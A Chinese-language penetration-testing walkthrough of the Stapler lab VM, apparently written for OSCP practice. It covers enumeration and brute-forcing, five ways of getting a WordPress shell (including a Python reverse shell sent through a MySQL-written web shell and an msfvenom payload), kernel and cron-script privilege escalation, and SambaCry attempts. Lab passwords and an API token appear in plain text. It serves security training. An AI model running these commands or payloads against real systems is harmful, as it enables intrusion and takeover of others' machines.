简介
该项目是g0tmi1k作者精心制作的项目环境,目标是获取获得root权限并找到flag.txt文本信息,该项目作为OSCP考试培训必打的一个项目环境,该作者评定该环境为渗透中级水准难度。接下来不管是零基础学习渗透者,还是有些基础的渗透者,甚至是高水平的渗透人员读该的技巧和文章都能学习到一些红队知识。
靶机描述:Stapler is reported to be one of several vulnerable systems that are supposed to assist penetration testers with challenges similar to Offensive Security’s PWK coursework.
该项目有始有终,会用到信息收集->暴力破解->数据库枚举->Wordpress后台getshell五种方法->内网信息枚举->提权,最终拿到flag.txt的过程,那么在这当中用到了一些小技巧都会在文章中演示出来,希望大家能动手也来和我一起学习渗透。
注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
一、信息收集
1.NMAP挖掘信息
首先对靶机所在网段进行扫描存活IP
nmap 192.168.27.0/24 -sP
192.168.27.187为我Kali的IP
靶机IP为192.168.27.191
2.NMAP全端口扫描(详细分析每个端口)
对靶机开放端口进行探测
nmap -sS -sV -A -T5 -p- 192.168.27.191
-sV-版本 -sS-详细描述信息 -A-版本号 -T5-扫描进程 -p-全端口扫描
扫描出:
20/tcp closed ftp-data ---未开启
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
53/tcp open domain dnsmasq 2.75
80/tcp open http PHP cli server 5.5 or later123/tcp closed ntp
137/tcp closed netbios-ns
138/tcp closed netbios-dgm
139/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp open doom?
| fingerprint-strings:
......
| message2.jpgUT
3306/tcp open mysql MySQL 5.7.12-0ubuntu1
12380/tcp open http Apache httpd 2.4.18 ((Ubuntu))
以及smb2利用!smb类似于windwos445端口,共享用
可以看到有很多容易受到攻击的端口都开着,FTP、NetBIOS、MySQL和运行Web服务器(Apache HTTPD)的端口12380等等!需要进一步探测的端口如下
21 ftp 管理端口 (可以匿名访问)
22 SSH Openssh 7.2
80/tcp open http
139/tcp open netbios-ssn Samba smbd 4.3.9 --windows环境的永恒之蓝
666/tcp open doom?
3306/tcp open mysql MySQL 5.7.12-0ubuntu1
12380/tcp open http Apache httpd 2.4.18 ((Ubuntu))
3.FTP匿名枚举
因为在扫描中扫到了这个
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
所以可以尝试使用anonymous登录ftp
需要输密码,直接回车试试,发现密码确实为空
发现存在一个note文件,下载下来
dir
get note
查看文件类型以及文件内容
是一个ASCII码的text文件,里面是txt文本信息:
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.
说将账号信息留存在FTP中,那么还有别的账号密码!
获得两个用户名:Elly、John
然后探测一下80端口,首先进行访问
没有服务,尝试枚举一下
dirb http://192.168.27.191/
发现有两个隐藏文件,使用wget下载下来
wget http://192.168.27.191/.bashrc
wget http://192.168.27.191/.profile
使用cat查看后,发现两个文件都是一些配置文件,只有一些配置信息,没有什么有用的
4.Enum4linux信息收集:139的Samba信息
SMB(服务器消息块)是一种协议,它允许同一网络上的资源共享文件,浏览网络并通过网络进行打印。它最初用于Windows,但是Unix系统可以通过Samba使用SMB。我们可以使用名为Enum4linux的工具从目标中提取信息,并使用smbclient连接到SMB共享并传输文件。
这是一个开放的netbios-ssn,用smbclient来查看(属于samba套件,它提供一种命令行使用交互式方式访问samba服务器的共享资源)!用Enum4linux枚举,这是一个用于枚举来自Windows和Samba系统的信息的工具。
enum4linux -a 192.168.27.191
-a 做所有参数选项枚举一遍
将所有参数跑一遍
发现存在4个目录共享,共享类型,回显OK的只有两个
kathy tmp
并且发现了20多个用户信息,保存到一个文本文档里
将SID等没用的信息晒去
cat pass2.txt | cut -d '\' -f2 | cut -d ' ' -f1 > user.txt
5.Linux smbclient smb共享信息收集
上面有找到两个可以访问的共享目录
我们要使用smbclient命令可读取SMB/CIFS服务器的用户端程序
SMB与CIFS为服务器通信协议,常用于Windows95/98/NT等系统。smbclient(samba client)可让Linux系统存取Windows系统所分享的资源
-L 显示服务器端所分享出来的所有资源。
smbclient -L //192.168.27.191
会提示输入密码,直接回车就好
-I<IP地址> 指定服务器的IP地址
-N 不用询问密码
我们添加参数
smbclient ///kathy -I 192.168.27.191 -N
///其实是 //xxx/ 代表先到一个目录下,然后再到kathy,因为kathy是二级目录,中间是空也可以
分别进入两个目录,进行下载
get xxx
进入另一个目录下,把其中的文件也下载下来
下载下来的有一份源码,可以使用D盾或者seay进行代码审计
查看内容
ls文件里面也没什么东西
另一个是配置文件,也没什么东西
6.nc信息枚举666端口
现在看一下666端口,之前扫描时发现里面有信息,使用nc查看
nc 192.168.27.191
使用nc将这个东西导到本地,并查看文件类型
nc 192.168.27.191 > YLion
file YLion
是一个zip文件,尝试解压,是一张图片
unzip YLion
图片中并没有什么有价值的信息,我们看看图片里面是不是还包含其他信息
strings message2.jpg
上面写着如果你正在读这篇文章,你应该得到一个cookie
暂时也没有找到什么突破性的进展,或者有用的信息
7.枚举http 12380服务
访问12380端口的http服务,并且使用dirb枚举一下
并没有枚举出什么有效信息,用AWVS扫一下
这是一个使用WordPress4.2.2搭建的站
我们使用kali上的另一种扫描器进行扫描(个人理解是这样的,每个扫描器都有各自的优势,多尝试几种可能会出来意外之喜)
nikto -h http://192.168.27.191:12380/
可以看到站点使用了 SSL Info,并且扫除了两个目录以及robots.txt,尝试访问,被重定向了。如果直接访问扫描出的两个目录的话会被重定向回之前的页面,需要加SSL
admin112233页面查看源码
很短,就是写了个xss,另一个页面就看起来好多了
用专门扫wordpress的工具wpscan进行扫描
wpscan --url https://192.168.27.191:12380/blogblog/ --disable-tls-checks
--disable-tls-checks ---因为会受到SSL对等证书/SSH错误临时用法!如果不加会报错
有一个报错,说因为没有令牌,无法输出,可以去该网站免费注册获取令牌
wpscan --url https://192.168.27.191:12380/blogblog/ --disable-tls-checks --api-token kJ4bhZCgveCcoGJPER7AOsHJTeFDf90Wfj9zu0V6asc --disable-tls-checks
可以扫出很多,包括sql注入等等
找到一个upload
https://192.168.27.191:12380/blogblog/wp-content/uploads/
还有登录点
https://192.168.27.191:12380/blogblog/wp-login.php
访问upload
在blogblog/wp-content/plugins/发现:
advanced_video_embed.php信息,存在wordpress advanced video
存在一个39646漏洞
查找利用脚本,并将脚本复制出来,因为可能是默认配置的脚本,需要进行修改
gedit 39646.py
脚本默认没有ssl,所以要加入ssl,并且还要再加一个参数,并将URL修改
import ssl
ssl._create_default_https_context = ssl._create_unverified_context
这个脚本执行后会生成一个文件
然后我们可以下载下来看这个最新生成的图片
使用wget可以直接下载http服务上的文件
下载https需要在前面加 --no-check-certificate ---下载ssl
wget --no-check-certificate https://192.168.27.191:12380/blogblog/wp-content/uploads/1674934041.jpeg
查看其类型与内容
是php代码用text的格式写在图片里的
会枚举出wp-config.php,存放数据库的信息,引出web页面数据
列出了MySql数据库 root plbkac
二、暴力破解
8.爆破FTP
hydra -L user.txt -P user.txt 192.168.27.191 ftp
和下面爆破SSH时爆破出的账户时同一个
SHayslett SHayslett
ftp里面有好多文件,下载下来后并没有发现什么信息
9.爆破SSH
hydra是一款开源的暴力密码破解工具,支持多种协议密码的破解。
hydra支持破解的服务/协议
hydra -L user.txt -P user.txt 192.168.27.191 ssh
使用用户名字典进行账户密码爆破,看看是否有用户的用户名和密码一致
SHayslett SHayslett
爆破到一个,并且测试可以成功登录ssh
三、数据库
10.mysql数据库枚举
尝试看一下能否远程登录
mysql -uroot -proot -h 192.168.27.191
mysqI-h主机名-P端口-u用户名-p密码
密码错误
尝试登录在测试12380端口之前,现在拿到了数据库的账号密码,就可以登录了
mysql -uroot -pplbkac -h 192.168.27.191
进入数据库后 库->表->字段->内容
show databases;
这个站是用wordpress建的,所以直接进入wordpress库
use wordpress
show tables;
查看wp_users表即可
desc wp_users;
select user_login from wp_users;
用户名中包含前面我们得到的两个用户名
select user_login,user_pass from wp_users;
将这个复制出来放到一个文本
此时我们使用awk命令,进行拆分信息
参考:https://www.runoob.com/linux/linux-comm-awk.html
awk -F'|' '{print $3}' 1.txt > pass.txt
将未解密的密码导出到文件中
随便复制一行密文查看加密类型
hash-identifier $P$B7889EMq/erHIuZapMB8GEizebcIy9.
MD5加密
使用john工具进行解密
john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt
第一次报错了,是命令中的密码本(txt文件)不存在,进去那个目录下看到,密码本存在,但是没有解压,解压一下就好了,第二次也没有成功,意思是/root/.john/john.rec文件被锁定。
通过测试只要把 /root/.john/john.rec这个文件删除就不会报错了
解压后会放在历史文本里面,在根目录下的.john文件夹下
cd ~/.john
ls
cat john.pot
经过尝试,框中的密码可用,对应的用户名是John
John incorrect
找到登陆点 https://192.168.27.191:12380/blogblog/wp-login.php
成功登录
或者访问:枚举
进入phpmyadmin数据库管理工具查看 https://10.211.55.37:12380/phpmyadmin/
root plbkac
四、wordpress后台getshell 五种方法
登录wordpress后台后 Plugins-》 add New -》upload Plugin :存在上传文件
方法一
反弹shell
首先我们查找一个webshell,并且复制出来
- locate php-reverse-shell.php
- cp /usr/share/webshells/php/php-reverse-shell.php .
vi php-reverse-shell.php
将IP改为回连的IP,端口为1234,保存
然后将webshell上传
上传完成之后就到了upload目录下
开启nc监听1234端口
nc -vlp 1234
此时在upload目录下点击上传的webshell
就会成功反弹回shell,成功拿到shell
方法二
weevely简介 weevely是一款基于python编写的webshell生成、管理工具。
weevely generate passYLion YLion.php
创建一个密码为passYLion的名为YLion.php的shell
然后和上面的步骤一样,上传到upload目录下
weevely https://192.168.27.191:12380/blogblog/wp-content/uploads/YLion.php passYLion
获得shell
方法三
webacoo实际上是 Web Backdoor Cookie的缩写,也是kali自带的,针对php网站的web后门工具
webacoo -g -o shell.php
测试无法绕过waf
webacoo -t -u http://x.x/.login.php
-t 建立远程“终端”连接(需要-u)
-u URL 后门 URL
方法四
MSF
创建木马
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.27.187 LPORT=4455 -f raw > msf.php
然后依旧是和上面步骤相同,将msf.php上传到upload目录下
监听
msfconsole
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set LHOST 192.168.27.187
set LPORT 4455
run` / `exploit -j
然后访问上传上去的shell
MSF上线成功
方法五
mysql INTO OUT文件上传 INTO OUT(写)
mysql -uroot -pplbkac -h 192.168.27.191
select "<?php echo shell_exec($_GET['cmd']);?>" into outfile "/var/www/https/blogblog/wp-content/uploads/shell2.php";
直接将一句话木马写入数据库
各种一句话木马的合集网站
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
可以看到他安装了python,所以直接使用python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.27.187",1654));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
将上面代码拼接在cmd=后面
https://192.168.27.191:12380/blogblog/wp-content/uploads/shell2.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.27.187",1654));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
拿到shell
python -c 'import pty; pty.spawn("/bin/bash")'
拿到稳定shell
五、内网信息
12.内网信息枚举
查询所有内核信息
uname -mra && cat /etc/*release*
- cp ../les.sh .
- cp ../linpeas.sh .
将这两个工具放到存放本项目临时文件的目录下
使用python开启http服务
python -m SimpleHTTPServer 80
并且通过shell,使用wget下载两个文件
wget 192.168.27.187:80/les.sh
wget 192.168.27.187:80/linpeas.sh
注意:建议先获取一个稳定shell
python -c 'import pty; pty.spawn("/bin/bash")'
stty raw -echo
对刚才下载的两个文件的权限修改,然后运行
chmod +x les.sh
chmod +x linpeas.sh
./les.sh
扫出很多漏洞
./linpeas.sh
包含很多信息
4.4.0-21-generic 存在版本漏洞
发现很多1000编号之后的过户
peter账号下存在sudo权限
可以尝试使用peter账户,然后sudo提权
这个就是我们一开始利用的漏洞,找到的root账户的密码
可以执行代码
以root权限运行的一些文件
可以写入信息,是个环境变量
汇总一下上面扫出的信息
4.4.0-21-generic
存在很多账号信息
peter 存在sudo权限 sudo提权
ssh:
PermitEmptyPasswords yes
path: 可被写入
You can write script: /usr/local/sbin/cron-logrotate.sh
/usr/local/sbin/cron-logrotate.sh
/home/ 存放用户名 history
六、提权
13、提权利用
进行提权进一步利用
内核提权-1
下面开始一个一个的验证
我们在谷歌上查找相关信息
“searchsploit”是一个用于Exploit-DB的命令行搜索工具,可以帮助我们查找渗透模块
同时使用该模块进行查找Linux版本漏洞
searchsploit Linux Kernel 4.4.x
40049是在64位提权的,这是32位系统linux! --linux_x86-64/local/40049.c
目标为32位的系统
Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LO | linux/local/39772.txt
我们使用39772
查看位置
locate linux/local/39772.txt
文本中包含提权的原理,底层的东西
利用的话需要去github上下载
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
unzip 39772.zip
cd 39772
tar xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
存在compile.sh文件
上传上去
python -m SimpleHTTPServer 80
wget http://192.168.27.187:80/exploit.tar
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
chmod +x compile.sh
./compile.sh
ls ----执行./doubleput
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
提权成功!
内核提权-2
使用cve-2021-4034
wget http://10.211.55.19:8081/cve-2021-4034-poc.c
gcc cve-2021-4034-poc.c -o YLion
chmod +x YLion
./YLion
sudo提权
这里顺便看一下 5. /home/ 存放用户名 history
(用普通权限的shell就可以,这里没有退出,所以是刚才提权后的root权限)
grep -rn "ssh"
筛选出具有ssh信息的用户
sshpass -p JZQuyIN5 peter@localhost
sshpass -p thisimypassword ssh JKanode@localhost
获取到了用户通过ssh登录的信息
peter JZQuyIN5
JKanode thisimypassword
可以直接通过ssh远程登录 了,也就是刚才上面列出的 3. PermitEmptyPasswords yes
ssh JKanode@192.168.27.191
登录peter会发现他用的是另一种shell,所以可以加一个参数
ssh peter@192.168.27.191 -t '/bin/bash'
拿到了peter账户正对应上面列出的 2. peter 存在sudo权限 sudo提权
id
sudo -l
看一下有哪些权限
可以执行所有的命令,那就直接
sudo su
直接拿root权限
计划任务写入文件提权
接下来看
path: 可被写入
You can write script: /usr/local/sbin/cron-logrotate.sh
/usr/local/sbin/cron-logrotate.sh
find / -name logrotate* 2>/dev/null
查找logrotate,并且隐藏报错信息
cron就是Linux中的计划任务目录
windows在控制面版中
我们看一下在计划任务目录下的这个文件
cat /etc/cron.d/logrotate
每五分钟执行一次这个脚本,可以在菜鸟教程中找到cron计划任务,有详细解释
我们查看一下他是以什么权限运行的
ls -la /usr/local/sbin/cron-logrotate.sh
是以root权限运行的
我们可以往进写东西
echo "cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit;chmod root:root /tmp/exploit" >> /usr/local/sbin/cron-logrotate.sh
将/bin下的shell dash,复制到tmp下为exploit,给这个文件最高权限,然后写入,等五分钟自动执行
/tmp/exploit -p
提权成功
14、sambacry 拿shell ---利用随机化!linux的永恒之蓝
前面nmap扫出了信息:
139/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
searchsploit Samba 4.3.9
locate linux/remote/42084.rb
- cp /usr/share/exploitdb/exploits/linux/remote/42084.rb .
这是CVE-2017-7494的漏洞!https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7494
MSF可以利用!
msfconsole
search Samba
---符合2017年的就几个
use exploit/linux/samba/is_known_pipename
set rhosts 192.168.27.191
set rport 139
run
利用失败了但是
https://github.com/joxeankoret/CVE-2017-7494/
proxychains git clone https://github.com/opsxcq/exploit-CVE-2017-7494.git
总结
通过以上的学习,我们认知了一些红队的小技巧的技术手段,完成了从信息收集到内核提权项目落地,学习到了非常多的技巧,例如nmap全端口信息枚举、wordpress后台getshell的几种方式、数据库枚举、ssh,ftp暴力破解、内部信息枚举、提权等等,希望伙伴们能实际操作复现一遍,不要眼高手低!巩固自身的渗透技术和技巧!
最后
希望大家提高安全意识,没有网络安全就没有国家安全!